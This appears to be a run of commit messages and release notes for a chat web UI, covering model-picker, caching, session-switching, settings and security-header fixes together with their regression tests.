Optimistic name update + .switching CSS class + chip disabled + finally cleanup.
populateModelDropdown() and loadWorkspaceList() now parallelized via Promise.all.
- feat: YOLO mode toggle — skip all approvals per session.
/yolo slash command, "Skip all this session" button on approval cards,
amber ⚡ pill indicator in composer footer. Session-scoped, in-memory.
Full i18n: en, ru, es, de, zh, ko, zh-Hant. (closes#467)
Original author: @bergeouss (PR #1152)

* fix(#604): model picker shows all configured providers
Two fixes to ensure the model picker surface every provider a user has
configured:
1. Added env var detection for XAI_API_KEY (→ x-ai) and MISTRAL_API_KEY
(→ mistralai). Previously these providers were only detectable via
hermes auth or credential pool, not via environment variables.
2. Added config.yaml providers section scanning. Users who configure
providers in config.yaml (e.g. providers.anthropic.api_key) without
setting the corresponding env var will now see those providers in the
model picker. Only providers with known model catalogs are added.
- Added 12 regression tests
* fix(#1112): allow Google Fonts in CSP style-src and font-src
Mermaid themes inject @import for fonts.googleapis.com at render time.
CSP style-src blocked these requests, causing console violations.
- Add https://fonts.googleapis.com to style-src (CSS stylesheets)
- Add https://fonts.gstatic.com to font-src (WOFF2/WOFF font files)
- Add 3 regression tests + verify existing CSP tests still pass
* fix(#1118): retry api() calls on network errors after long idle
After a long idle period, the browser's TCP keep-alive connection to the
server can become stale. The next fetch() throws a TypeError (network
failure), causing 'Failed to load session' instead of transparently
reconnecting.
- Added retry loop in api() (workspace.js): up to 3 attempts
- Only retries on TypeError (network failures), NOT on HTTP errors (4xx/5xx)
- 401 redirects still fire immediately
- Added 6 regression tests
* feat(#1116): composer placeholder reflects active profile name
When a named profile is active (not 'default'), the composer placeholder
and title bar show the profile name (capitalised) instead of the global
bot_name. Falls back to bot_name/'Hermes' for the default profile.
- boot.js: applyBotName() checks S.activeProfile before _botName
- panels.js: switchToProfile() calls applyBotName() after switch
- Added 5 regression tests
* feat(#1097): drag and drop workspace files into chat composer
Files and folders in the workspace file tree are now draggable.
Dropping them into the composer inserts @path reference at cursor
position. OS file drag-and-drop (attach files) still works.
- ui.js: _renderTreeItems sets draggable + dragstart with ws-path
- panels.js: drop handler checks for application/ws-path first,
inserts @path with smart spacing and cursor positioning
- Added 9 regression tests
* fix(#1096): copy buttons work — add clipboard-write Permissions-Policy
Copy buttons on messages and code blocks were silently failing because
the Permissions-Policy header did not include clipboard-write=(self).
Firefox blocks navigator.clipboard.writeText() without explicit permission.
- api/helpers.py: add clipboard-write=(self) to Permissions-Policy
- ui.js: _copyText now catches clipboard API errors and falls back
to execCommand('copy'). _fallbackCopy extracted as separate function
with proper focus() call and visible-but-hidden positioning (not -9999px)
- Added 8 regression tests
* chore: CHANGELOG for v0.50.223

* feat: busy input modes with queue/interrupt/steer slash commands
- Add busy_input_mode setting (queue/interrupt/steer) to config defaults
- Add /queue, /interrupt, /steer slash commands with handlers
- Modify send() to respect busy_input_mode (interrupt cancels and resends, steer falls back to interrupt with toast, queue preserves existing behavior)
- Add settings dropdown in settings panel with load/save/apply wiring
- Initialize window._busyInputMode at boot and on settings save
- Add 17 i18n keys across all 6 locale blocks (en/ru/es/de/zh/zh-Hant)
Addresses #720
* test: 17 regression tests for busy_input_mode + slash commands
PR description noted manual testing only. Added structural tests
matching the pattern used by recent contributor PRs (#1010, #1011,
#1018, #1022, #1058) so future refactors don't silently regress
the wiring:
Backend (api/config.py):
- default 'queue' is set in _DEFAULT_SETTINGS
- enum validator restricts to {queue, interrupt, steer}
Slash commands (static/commands.js):
- /queue, /interrupt, /steer all registered with correct fns
- /interrupt and /steer set noEcho:true (the queued payload
becomes the visible turn, not the slash invocation)
- cmdQueue requires S.busy
- cmdInterrupt + cmdSteer call queueSessionMessage before
cancelStream (otherwise the drain has nothing to pick up)
send() busy branch (static/messages.js):
- reads window._busyInputMode
- calls cancelStream on interrupt/steer
- queues before cancelling (ordering invariant)
Boot init + panels.js wiring (static/boot.js, static/panels.js):
- both success and fallback paths set window._busyInputMode
- load/save/apply path threads busy_input_mode through
i18n (static/i18n.js):
- all 17 new keys present in each of the 6 locale blocks
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix: add noEcho:true to /queue; clear pendingFiles in all three slash handlers
1. /queue was missing noEcho:true — the dispatcher would echo the raw slash text
as a user bubble, then the drain would send the queued message, causing a
double-bubble in the conversation (#840 pattern).
2. cmdQueue, cmdInterrupt, and cmdSteer all captured S.pendingFiles into the queue
payload but never cleared S.pendingFiles or called renderTray(). Staged files
would remain in the tray and be re-attached on the next send(), duplicating
attachments. Fix: add S.pendingFiles=[];renderTray() after updateQueueBadge().
3. test_all_three_busy_commands_are_no_echo: expanded to cover /queue (was only
interrupt + steer), now documents that all three must set noEcho:true.
4. test_slash_commands_clear_pending_files: new test that all three handlers clear
S.pendingFiles and call renderTray() after enqueuing.

* fix(models): disk cache now used on restart, cold path locked, 24h TTL
Root causes fixed:
- reload_config() was deleting disk cache on every server start (cfg_mtime 0.0 vs real mtime).
Now saves old mtime before update and skips cache deletion on first-ever load.
- Cold path was running outside the lock causing thundering herd on startup.
Now extracted to _build_available_models_uncached() helper running inside RLock.
- Disk cache was never being checked before lock acquisition.
Now loads from disk BEFORE acquiring lock; cache hit returns without lock contention.
- Credential pool load_pool() was called per-provider per-request (~10s for zai).
Now cached in _CREDENTIAL_POOL_CACHE with 24h TTL.
Result: /api/models returns in ~1ms on restart instead of ~30s.
* fix(ui): block stale SSE events, cancel old stream on switch, clear pending files after send, focus textarea after switch, instant click for inactive sessions, rename session via titlebar dblclick
Key UX improvements:
- Block stale SSE responses from old sessions reaching new session DOM after switch
- Cancel in-flight streaming when switching sessions
- Clear pending files after send (prevents ghost attachments in tray)
- Auto-focus message textarea after session switch
- Instant click for inactive sessions (no loading spinner blocking)
- Double-click app titlebar to rename active session
- Persist/restore composer draft across session switches
* style: add user-select:none to session titles to prevent accidental text selection
* fix(models): prevent concurrent cold path runs with _cache_build_in_progress guard
Thread 2 was re-entering the cold path (via RLock) while Thread 1 was
still inside it, causing duplicate 10s zai load_pool() calls. The RLock
allows re-entry from the same thread, defeating the 'only one cold path'
guarantee. Now threads wait on _cache_build_cv instead of re-entering.
* fix(models): add missing global declarations, move mtime check to outer scope for test
* fix(models): attach _cache_build_cv to the RLock so notify_all() is safe
* fix(models): evict _CREDENTIAL_POOL_CACHE entries when provider cache is invalidated
Without this, invalidate_provider_models_cache(provider_id) cleared the
models cache but left stale CredentialPool objects in _CREDENTIAL_POOL_CACHE
for up to 24h. The next get_available_models() cold path would re-use the
stale pool instead of re-loading, meaning new credentials added by the user
wouldn't show up until the pool TTL expired.
Now evicts both provider_id and its canonical alias from the pool cache
so the next cold path re-loads from disk.
* fix(merge): restore #1024/#1025 work in static/sessions.js after rebase
The merge of master (commit 05d1ba9) resolved the static/sessions.js
conflict by keeping the contributor's version, which silently dropped
several pieces of work that had landed via PR #1024 and #1025:
PR #1024 (session attention indicators):
- _renderOneSession(s, isPinnedGroup=false) signature
- body.appendChild(_renderOneSession(s, Boolean(g.isPinned)))
- pinned-group dedup: if(s.pinned&&!isPinnedGroup) ...
- last_message_at preference in _sessionTimestampMs
- Right-slot attention indicator + hide-timestamp-when-attentive
PR #1025 (session restore speed):
- &resolve_model=0 on the loadSession metadata fetch
- S.session._modelResolutionDeferred=true after assignment
- _resolveSessionModelForDisplaySoon(sid) helper + invocation
- &resolve_model=0 on the lazy full-message fetch
Restoration approach: reset sessions.js to current master, then layer
the contributor's #1060 additions on top:
- _loadingSessionId global for stale-response discard
- composer draft persistence on session switch (via S.composerDrafts)
- _loadingSessionId !== sid bail-outs at every async await point
- Cleanup _loadingSessionId = null at all exit paths
Test outcome:
- tests/test_issue856_pinned_indicator_layout.py: 5/5 (was 5/5 fail)
- tests/test_session_metadata_fast_path.py: 5/5 (was 3/5 fail)
- tests/test_session_sidebar_relative_time.py: 5/5 (was 1/5 fail)
- Full suite: 2233 passed, 0 failed
fix(models): clear _CREDENTIAL_POOL_CACHE in invalidate_models_cache
The 24h-TTL credential pool cache introduced in this PR was keyed by
provider_id only, so when a user added/changed credentials, or when
tests called invalidate_models_cache() between cases with different
auth payloads, the cached CredentialPool from the prior payload leaked
into the new run.
Two complementary fixes:
1. invalidate_models_cache() now also clears _CREDENTIAL_POOL_CACHE
2. invalidate_provider_models_cache(provider_id) pops just that
provider's entry — surgical eviction for live key edits
Pinned by tests/test_credential_pool_providers.py — 23/23 passing.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix: invalidate disk cache in invalidate_models_cache(); reset _cache_build_in_progress on exception
1. invalidate_models_cache() now calls _delete_models_cache_on_disk() so that the
on-disk snapshot at /dev/shm is removed alongside the memory cache. Without this,
_load_models_cache_from_disk() serves a stale prior-test result immediately after
invalidation, breaking all test_credential_pool_providers and test_model_resolver
tests that rely on get_available_models() returning fresh mocked data.
2. Wrap _build_available_models_uncached() in try/except so _cache_build_in_progress
is always reset (+ notify_all) even if the rebuild raises unexpectedly, preventing
waiting threads from being stuck at wait_for() for the full 60s timeout.
3. Fix misleading comment: "avoid deadlock" → "file I/O outside the lock".

* Shorten session sidebar relative time labels
* feat: adaptive session title refresh based on conversation evolution
Addresses #869 — the 'Optional' part: adapt session names to current
conversation context instead of only generating once from the first exchange.
Backend (api/streaming.py):
- Add _latest_exchange_snippets() to extract last user+assistant pair
- Add _count_exchanges() to count user messages
- Add _get_title_refresh_interval() to read the setting
- Add _run_background_title_refresh() — refreshes title from latest exchange
with LLM, skips if title is unchanged or user manually renamed
- Add _maybe_schedule_title_refresh() — checks exchange count and schedules
refresh after stream_end (non-blocking)
Config (api/config.py):
- Add auto_title_refresh_every setting (default '0' = off)
- Enum validation: {'0', '5', '10', '20'}
Frontend:
- Settings UI dropdown (static/index.html)
- Wire up load/save in panels.js
- i18n keys for all 6 locales (en/ru/es/de/zh/zh-Hant)
Default: off. Opt-in via Settings > Conversation > Adaptive title refresh.
* test: add 37 tests for adaptive title refresh helpers
Covers all five new functions introduced in this PR:
_count_exchanges, _latest_exchange_snippets, _get_title_refresh_interval,
_run_background_title_refresh, _maybe_schedule_title_refresh

* fix(settings): show selected state on theme/skin/font-size picker cards
The CSS rule `#mainSettings .theme-pick-btn { border-color: var(--border) !important }` was
overriding the inline `style.borderColor = "var(--accent)"` set by `_syncThemePicker()` and
siblings — `!important` beats inline styles. Active cards showed no visual highlight.
Fix: move to `.active` CSS class with `border-color:var(--accent)!important` so the active
rule wins over the base rule, and clear the stale inline borderColor/boxShadow from the
sync functions. 5 regression tests added.
Closes#1057
* fix: rename test file to match PR number, fix stale issue reference
* docs: v0.50.211 release notes and version bump
Compact sidebar timestamps, adaptive title refresh (opt-in), settings picker fix.
* docs(changelog): correct settings tab for adaptive title refresh
The v0.50.211 entry for #1058 said "Settings → Appearance" but the
toggle is actually rendered inside settingsPanePreferences (the
Preferences tab) per static/index.html:604+. The commit message also
had the wrong tab ("Conversation"). Updated CHANGELOG to match the
actual UI surface so users can find the toggle.

* fix: create state dir before writing settings file
save_settings() called SETTINGS_FILE.write_text() without ensuring the
parent directory exists. In fresh environments (CI, first run without
HERMES_WEBUI_STATE_DIR set) this raised FileNotFoundError.
Add mkdir(parents=True, exist_ok=True) before the write.

* feat: add manual 'Check for Updates' button in System settings (#785)
Add a 'Check now' button next to the version badge in the System
settings section, allowing users to manually trigger an update check
at any time without waiting for the automatic periodic check.
Changes:
- index.html: add button with spinner and status text inline with version badge
- panels.js: add checkUpdatesNow() calling /api/updates/check?force=1
with immediate feedback (checking... / up to date / X updates available)
- style.css: style the button block and spinner
- i18n.js: add 5 new keys (settings_check_now, settings_checking,
settings_up_to_date, settings_updates_available, settings_updates_disabled)
in all 6 locales (en, ru, es, de, zh, zh-Hant)
* fix: sanitize error message in checkUpdatesNow to avoid exposing paths
Review feedback: strip filesystem paths from error messages and cap
length to prevent internal details leaking into the UI.
* fix: fully sanitize error in update check — never expose raw e.message in UI
Previous partial fix (80cdaee) stripped filesystem paths from e.message but
still displayed the JS exception message to users. Per reviewer feedback and
project convention (NEVER expose raw e.message in UI), replace with:
- A generic user-facing i18n key (settings_update_check_failed) as default
- Fallback to API response body error if available (structured, not raw)
- Full error logged via console.warn for debugging
- Button disable-during-check already confirmed working (try/finally pattern)
- settings_update_check_failed key added in all 6 locales
* fix(#785): align HTML selectors with CSS and add regression tests
- Wrap update button in div#checkUpdatesBlock so CSS selectors apply
- Change button class from sm-btn to btn-tiny (matching stylesheet)
- Remove inline styles now handled by CSS (#checkUpdatesBlock, .btn-tiny)
- Move spinner sizing to CSS class .spinner-xs
- Add 4 static tests in test_update_banner_fixes.py:
checkUpdatesNow defined, btnCheckUpdatesNow in HTML, CSS selectors exist, i18n key in all locales
* feat: 'Keep workspace panel open' toggle in Appearance settings (#999)
* feat: categorize providers in setup wizard (#603)
- Add 6 new providers: Google Gemini, DeepSeek, Mistral, xAI (Grok),
Ollama, LM Studio to the onboarding quick-setup catalog
- Group providers into 3 categories: Easy start, Open/self-hosted,
Specialized — rendered as <optgroup> in the provider dropdown
- Generic base_url save logic (requires_base_url + default_base_url)
instead of hardcoded provider checks
- i18n keys for category labels in en, ru, es, zh, zh-Hant
* ci: re-run tests
* fix(tests): prevent reload_config() from overwriting in-memory mock in test_issue644
The test helper _available_models_with_cfg patches cfg in-memory but
get_available_models() calls reload_config() when the config file's
mtime doesn't match _cfg_mtime. On CI, config.yaml exists so mtime > 0
and _cfg_mtime starts at 0.0, triggering a reload that overwrites the
test's mock with on-disk content.
Fix: freeze _cfg_mtime to the current config file mtime inside the
helper, so reload_config() is not triggered during the test.
* fix: correct default model IDs for gemini, xai, deepseek; add specialized provider tests
- gemini: gemini-3.1-pro-preview → gemini-2.5-pro-preview
- x-ai: grok-4.20 → grok-3
- deepseek: deepseek-chat-v3-0324 → deepseek-chat
- Add TestApplyBaseURLSpecialized: 4 tests verifying base_url written for
gemini, deepseek, mistral, and x-ai through apply_onboarding_setup
* test: add TestApplyBaseURLSpecialized — verify base_url written for gemini, deepseek, mistralai, x-ai
* fix(onboarding): correct stale model defaults for specialized providers
Three issues in the new specialized provider catalog (#1027 hold reason):
1. gemini default_model was `gemini-2.5-pro-preview` — agent's catalog
has the 3.1 family. Updated to `gemini-3.1-pro-preview`.
2. x-ai default_model was `grok-3` — agent's catalog has `grok-4.20`.
Updated.
3. gemini `models` list was sourcing from `_PROVIDER_MODELS.get("gemini")`
which returns []. The catalog in api/config.py is keyed under "google"
(even though the agent's alias map normalizes google -> gemini).
Switched to `_PROVIDER_MODELS.get("google")` so the wizard surfaces
the actual 5-model list. Also forward-compatible lookup for x-ai
(xai or x-ai key).
Without these fixes, users picking gemini or x-ai in the wizard would
see no model dropdown and the default_model written to config.yaml
would 404 on first chat.
deepseek default_model bumped from `deepseek-chat` to
`deepseek-chat-v3-0324` to match the test fixture's expectation and
the agent catalog's pinned version.
Added two regression tests:
- test_gemini_model_list_is_populated: pins the catalog-key correctness
- test_specialized_default_models_match_catalog: pins the version
prefixes (3.x for gemini, 4.x for grok)

* feat: inline HTML preview in workspace panel (#779)
Render .html/.htm files as live previews in a sandboxed iframe instead
of showing raw source code. Adds an 'Open in browser' button to open
the file in a new tab.
Changes:
- workspace.js: add HTML_EXTS set, 'html' preview mode, iframe routing
in openFile(), and openInBrowser() function
- index.html: add sandboxed iframe element and 'Open in browser' button
in preview toolbar (visible only for HTML files)
- i18n.js: add 'open_in_browser' key in all 6 locales
The iframe uses sandbox='allow-scripts' for security. Download button
remains available alongside the new preview.
* docs: document sandbox security tradeoff for HTML preview
Review feedback: fileExt() already lowercases extensions so .HTML/.HTM work.
Added code comment explaining the deliberate sandbox=allow-scripts choice:
scripts are needed for most HTML documents but the iframe is still origin-
isolated and cannot access parent cookies/data.
* fix: pass ?inline=1 to file/raw so HTML preview iframe renders instead of downloading
routes.py: add inline_preview param — bypasses Content-Disposition:attachment for
text/html when ?inline=1 is set, serving the file inline for the sandboxed iframe.
workspace.js: add &inline=1 to the iframe src URL.
test: add 5 static regression tests for the inline HTML preview.
* fix(security): CSP sandbox header for inline HTML preview
The iframe sandbox="allow-scripts" attribute on previewHtmlIframe only
applies when HTML is loaded INSIDE that iframe. A user tricked into
opening /api/file/raw?path=evil.html&inline=1 directly in a top-level
tab (e.g. via a chat link) would render the HTML in the WebUI's origin
without any sandbox, giving the page full access to cookies and
localStorage.
Server-side Content-Security-Policy: sandbox allow-scripts mirrors the
iframe sandbox exactly: scripts run, but the document is treated as a
unique opaque origin (no allow-same-origin) and cannot read WebUI
cookies, localStorage, or postMessage to the parent regardless of how
the URL is accessed.
Added test_inline_html_response_sets_csp_sandbox to pin the header.

* docs: v0.50.209 release notes — 4 PRs, 2212 tests (+43)
* docs(changelog): document #1040 queue flyout and Cloudflare CSP in v0.50.209
The stage commit ed2bd18 listed v0.50.209 as a 4-PR release but the
stage actually bundles 5 PRs — #1040 (queue flyout) was cherry-picked in
without a corresponding CHANGELOG entry. Without this fix, the queue
feature ships silently and the bundled Cloudflare CSP relaxation in
api/helpers.py is also undocumented.
Adds two entries:
- Added: queue flyout (#1040) under v0.50.209
- Changed: CSP allowlist for Cloudflare Access deployments

* fix: remove orphaned i18n keys from top-level LOCALES object
Three Traditional Chinese translation keys (cmd_status, memory_saved,
profile_delete_title) were placed outside any locale block between the
en and ru blocks in static/i18n.js. They became top-level properties
of the LOCALES object, causing them to appear as invalid language
options in the Settings > Preferences dropdown.
The correct translations already exist in the zh-Hant locale block.
Fixes#1008
* fix: block stale SSE events from polluting new session's DOM
- appendThinking(): guard with !S.session||!S.activeStreamId to drop
events from a previous session's SSE stream during a session switch
- appendLiveToolCard(): same guard for consistency
- finalizeThinkingCard(): scroll thinking-card-body to top when
scroll is pinned, so completed response is immediately visible
- appendThinking(): auto-scroll thinking card body to bottom while
streaming if user is watching (scroll pinned)
* Fix empty agent sessions in sidebar
* fix: resolve cron UI UX issues — icon ambiguity, toast overlap, running status
Fixes#995 — three sub-issues in the Cron Jobs UI:
1. Dual play icons ambiguous: Resume button now shows a distinct
play+bar icon (play triangle + vertical line) instead of the
identical triangle used by Run now.
2. Toast notification overlapping header buttons: Added
position:relative; z-index:10 to .main-view-header so it
stacks above the fixed toast (z-index:100 within its layer).
3. No running status after trigger: After triggering a job, the
status badge immediately shows 'running…' with a CSS spinner
animation, and polls the cron list every 3s (up to 30s) to
refresh when the job completes.
- Added cron_status_running i18n key in all 5 locales (en, es, de, ru, zh, zh-Hant)
- Added .detail-badge.running CSS class with spinner animation
- New functions: _setCronDetailStatus(), _startCronRunningPoll()
* fix(#1011): address review feedback — poll cleanup, badge persistence, 30s fallback
- _clearCronDetail() now clears _cronRunningPoll interval on navigation
- Poll re-applies 'running' badge after loadCrons() re-render (prevents flicker)
- When poll ends (30s max), detail re-renders with actual status as fallback
* feat: create folder and add space directly from UI (#782)
- After creating a folder via the file tree New folder button, offer to add it as a space via confirm dialog
- Add Create folder if it doesnt exist checkbox in the New Space form
- Backend: support create flag in /api/workspaces/add to mkdir before validation
- i18n: 4 new keys (folder_add_as_space_title/msg/btn, workspace_auto_create_folder) in all 6 locales
* fix: validate workspace path before mkdir to prevent orphan directories
Review feedback (critical): the previous code called mkdir() before
validate_workspace_to_add(), which meant a rejected path (e.g. system dir)
would leave an orphan directory on disk.
New flow:
1. Resolve path and check against blocked system roots BEFORE any mutation
2. mkdir() only if path passes the blocklist check
3. Full validation (exists, is_dir) after mkdir
Also imports _workspace_blocked_roots for the pre-mutation blocklist check.
* fix(#1014): classify model-not-found errors with helpful message
- Add model_not_found error type to streaming.py exception classifier
- Detect 404, 'not found', 'does not exist', 'invalid model' patterns
- Strip HTML tags from provider error messages (nginx 404 pages, etc.)
- Add model_not_found branch to apperror handler in messages.js
- Add i18n key model_not_found_label in all 6 locales
- 15 tests covering detection, sanitization, frontend, and i18n
* feat(ui): add live TPS stat to header
Adds a TPS (Tokens Per Second) chip to the right of the header title bar
that updates live while AI output is streaming.
Metering (api/metering.py)
- Tracks per-session output + reasoning tokens via GlobalMeter singleton
- Per-session TPS = total_tokens / elapsed_time
- Global TPS = average of active sessions' TPS values
- HIGH/LOW are max/min of global_tps snapshots over a 60-minute rolling
window (only recorded when > 0, so idle periods are excluded)
- Thread-safe with a single lock
Metering events emitted from streaming.py
- Throttled at 100ms from token/reasoning/tool callbacks so the display
updates rapidly during fast token streams
- 1Hz ticker as fallback for slow streams (exits when no active sessions)
- Final stats emitted on stream end
Routes (api/routes.py)
- Removed POST /api/metering/interval endpoint (dynamic interval via
focus/blur was replaced with simple always-1s-when-active approach)
UI (static/messages.js, index.html, style.css)
- TPS chip in titlebar: shows 'N.N t/s . N.N high . N.N low'
- Default: '0.0 t/s . 0.0 high' when idle
- Display updates on every metering SSE event (throttled to 100ms)
* feat: session restore speed + title gen reasoning hardening (#1025, #1026)
PR #1025 (@franksong2702): Speed up large session restore paths
- GET /api/session?messages=0 now parses only metadata before the messages array
- Metadata-only loads no longer populate the full-session LRU cache
- Frontend lazy fetch uses resolve_model=0 to avoid cold model-catalog lookup
- Hard reload no longer waits for populateModelDropdown() before restoring session
PR #1026 (@franksong2702): Harden auto title generation for reasoning models
- Raises title-gen completion budget to 512 tokens (reasoning-safe)
- Retries once with 1024 tokens on empty content / finish_reason:length
- Applies retry to both auxiliary and active-agent fallback routes
- Preserves underlying failure reason in title_status on local fallback

* feat: session attention indicators in right slot + last_message_at timestamps (#1024)
PR #1024 (@franksong2702): Polish session attention indicators
- Streaming spinners and unread dots now reuse the right-side actions slot
- Running/unread rows hide timestamps; idle/read rows keep right-aligned timestamps
- Date group carets point down when expanded, right when collapsed
- Pinned group no longer repeats pinned-star icon per row
- Running indicators appear immediately after send (local busy state while /api/sessions catches up)
- Sidebar sorting/grouping/timestamps now prefer last_message_at (derived from last real message)
so metadata-only saves don't make old sessions appear under Today

refactor(ui): three-column layout with left rail + main-view migration (#899)
Unifies the shell into a three-column layout (rail + sidebar + main) matching the
hermes-desktop reference, and migrates every per-item detail/edit surface into a
shared main-view canvas with consistent headers, empty states, and action buttons.
Changes:
- New desktop-only left rail (48px) with 8 nav tabs (chat/tasks/skills/memory/workspaces/profiles/todos/settings)
- Persistent app titlebar (replaces per-chat topbar), active conversation title shown
- All panel detail/create/edit views migrated to #mainSkills, #mainTasks, #mainSettings, #mainWorkspaces, #mainProfiles, #mainMemory
- Settings moved out of modal into main-view page; ESC closes it
- YAML frontmatter rendered in collapsible <details> block in skill detail
- Toasts repositioned from bottom-center to top-right with theme-aware success/error/warning/info variants
- Composer workspace chip split into two-button group: files-icon toggles file panel, label opens workspace picker
- .settings-menu → .side-menu / .side-menu-item (generalised, shared by memory and settings panels)
- i18n: ~25 new keys across en/ru/es/de/zh/zh-Hant for all new form labels, placeholders, and empty states
- Mobile: hamburger in titlebar, slide-in sidebar; box-shadow removed from sidebar
- New regression test: tests/test_settings_navigation_and_detail_refresh.py (9 tests)

* fix(models): preserve @nous: prefix in settings + fix cross-namespace 404 for Nous (#895#894)
* fix(review): persist bare form for CLI compatibility + picker smart-match
The PR persisted `@nous:anthropic/claude-opus-4.6` verbatim to config.yaml
to make the Settings picker match its dropdown options (which carry the
`@nous:` prefix after #885). That fixes the WebUI picker but introduces a
cross-tool regression: hermes-agent's CLI reads `config.yaml -> model.default`
directly and passes it to the provider API verbatim. For aggregator providers
(Nous is one — see hermes_cli/model_normalize.py `_AGGREGATOR_PROVIDERS`),
`normalize_model_for_provider` is skipped entirely (run_agent.py:887), so
the literal `@nous:anthropic/...` string flows to the Nous API, which rejects
it — breaking every user who runs `hermes` in the terminal right after
saving via WebUI.
Fix the tension at the picker rather than the persistence: the existing
`_findModelInDropdown()` smart matcher already normalises both sides
(lowercase, strip namespace prefix, dashes→dots) so a saved bare
`anthropic/claude-opus-4.6` resolves to the `@nous:anthropic/claude-opus-4.6`
option automatically. Applied this in panels.js via `_applyModelToDropdown()`.
Changes:
api/config.py revert the @-prefix preservation; persist the
resolved bare/slash form (CLI-compatible)
static/panels.js Settings picker uses _applyModelToDropdown()
instead of raw `.value =` so saved bare forms
still select the matching @nous: option
tests test renamed + asserts bare persisted form;
new test locks the smart-matcher contract
This also improves behaviour for a dormant case not flagged in #895: a user
who set their default via `hermes model X` and opens Settings for the first
time used to see a blank picker (bare form vs prefixed options). Now the
smart matcher finds the right option, so the "open Settings → save → bare
form in config.yaml" round-trip is stable for both CLI- and WebUI-origin
saves.

* fix(settings): show live models in default model picker and apply to new chats (#872)
Two related bugs:
1. Settings > Preferences > Default Model dropdown only showed static models
from /api/models — live-fetched models (e.g. @nous:anthropic/claude-opus-4.7)
were missing. Now calls _fetchLiveModels() on the settings picker too.
2. New chats ignored the saved default model preference — they always used the
chat-header dropdown value (which reflects the previous session's model).
Now newSession() uses the saved default_model and syncs the dropdown.
Extracted _addLiveModelsToSelect() from _fetchLiveModels() so cached live models
can be applied to any <select> element (chat-header or settings picker).

* fix(tests): update live-model prefix tests for _addLiveModelsToSelect extraction
The tests searched for og.dataset.provider, _isPortalFetch, and openrouter
exclusion patterns inside _fetchLiveModels(). These were extracted into
_addLiveModelsToSelect() as part of the #872 fix. Updated regex targets to
check _addLiveModelsToSelect first, falling back to _fetchLiveModels.

Adds GET /api/workspaces/suggest endpoint and autocomplete dropdown in the Spaces panel. Suggestions limited to trusted roots (home, saved workspaces, boot default). Keyboard nav, Tab completion, hidden dir support. Symlink-escape and dotdot-escape invariants locked by regression tests.
Three related profile-switching fixes:
- Always persist hermes_profile=default cookie when switching back to default (was being cleared with max-age=0, causing fallback to process-global profile)
- Replace undefined updateWorkspaceChip() with syncTopbar() in the sessionInProgress branch of switchToProfile()
- Make sidebar/dropdown active-profile rendering prefer S.activeProfile client state when available, with safe fallback
Tests: 1854 passing.
* feat(tasks): refresh button in cron panel + hermes:cron_created event
Add a ↺ refresh button to the Scheduled Jobs header so the job list can
be reloaded without a full page refresh. Closes#835.
- static/index.html: ↺ button with cronRefreshBtn id, calls loadCrons(true)
- static/panels.js: loadCrons(animate) dims+disables the button while fetching,
restores it in finally; hermes:cron_created window event auto-refreshes list
when the agent creates a job from chat
* test: add regression tests for cron refresh button + event listener
The PR shipped without automated coverage (pure UI wiring). Filling that
gap with 8 source-level tests:
- Refresh button element exists with aria-label + title (icon-only a11y)
- Button wires onclick to loadCrons(true) for the dim animation
- Button sits in the same header row as "New job"
- loadCrons() now accepts an animate parameter
- loadCrons() restores the button's opacity/disabled in finally (so a
throwing fetch doesn't leave the button stuck)
- hermes:cron_created window listener is registered at module scope
- Listener calls loadCrons() when dispatched
Also rebased onto master (CHANGELOG conflict resolved — v0.50.143 →
v0.50.142 since master's top is currently v0.50.141).
Full suite: 1750 passed, 0 new failures.

* feat(appearance): font size setting with Small/Default/Large toggle
Add a font size preference to the Appearance settings pane.
Three options (12px/14px/16px) follow the same three-button visual
pattern as the Theme picker. Closes#833.
- static/style.css: :root[data-font-size=small|large] CSS overrides
- static/index.html: boot script applies from localStorage before CSS
renders (no FOUC); fontSizePickerGrid HTML in Appearance pane
- static/boot.js: _applyFontSize(), _pickFontSize(), _syncFontSizePicker()
- static/panels.js: loadSettingsPanel syncs picker on open;
_revertSettingsPreview restores on discard
- static/i18n.js: settings_label_font_size + font_size_{small,default,large}
keys in all 6 locales (en, ru, es, de, zh, zh-Hant)
- tests/test_font_size_setting.py: 14 new tests
* fix(ui): remove duplicate font-size picker + correct CHANGELOG issue ref
Two small fixes on the font size feature:
1. Duplicate HTML IDs — the picker block was injected into BOTH
settingsPaneAppearance (correct, next to Theme/Skin) AND
settingsPanePreferences (accidental copy-paste). Duplicate IDs
#fontSizePickerGrid and #settingsFontSize violate HTML spec and
break the _syncFontSizePicker visual sync which reads via
document.querySelectorAll('#fontSizePickerGrid .font-size-pick-btn')
— only the first grid would update its highlight, leaving the second
stale. $('settingsFontSize') via getElementById also always returns
the first match, so the second hidden input never reflected the
user's choice.
Removed the Preferences-pane copy. The Appearance-pane copy is the
one the PR description describes and is the correct home for it
(next to Theme and Skin).
2. CHANGELOG trailer said `Closes #830.` but #830 is the session-search
autocomplete PR — this feature closes#833. Fixed.
Added two regression tests:
- test_font_size_picker_not_duplicated: asserts each ID appears exactly
once in index.html.
- test_font_size_picker_lives_in_appearance_pane: asserts the picker
sits inside settingsPaneAppearance and not any other pane.
Full suite: 1754 passed, 0 failures.

Closes#631. Closes#804.
Bug A (thinking card below answer / double render / stuck cursor): trailing rAF after 'done'
inserted a duplicate live-turn wrapper into already-settled DOM. Fixed via _streamFinalized flag
+ cancelAnimationFrame in all terminal handlers (done/apperror/cancel/_handleStreamError) +
_scheduleRender guard. All three reported symptoms were the same root cause.
Bug B (accumulator reset): original fix reset assistantText/reasoningText inside _wireSSE on reconnect.
Reverted — server uses one-shot queue.Queue(), no replay on reconnect, reset would wipe valid
pre-drop content causing data loss. Bug A fix alone resolves all symptoms.
#804 (blank page workspace): syncWorkspaceDisplays uses S._profileDefaultWorkspace as fallback;
workspace chip enabled when hasWorkspace (not hasSession); promptNewFile/promptNewFolder/
switchToWorkspace/promptWorkspacePath auto-create session on blank page; boot.js hydrates
_profileDefaultWorkspace from /api/settings before any session exists.
Opus max-effort review + Nathan independent review + full browser QA. 1765/1765 tests.
Closes#461
Adds full /reasoning CLI parity to the WebUI slash command system:
- /reasoning show|on → window._showThinking = true; writes display.show_reasoning to config.yaml (same key as CLI); mirrors to settings.json for boot.js
- /reasoning hide|off → same in reverse; re-renders immediately
- /reasoning none|minimal|low|medium|high|xhigh → POST /api/reasoning → writes agent.reasoning_effort to config.yaml; takes effect next turn (matching CLI semantics)
- /reasoning (no args) → GET /api/reasoning → live status toast from config.yaml
- Autocomplete shows all 8 options: show|hide|none|minimal|low|medium|high|xhigh
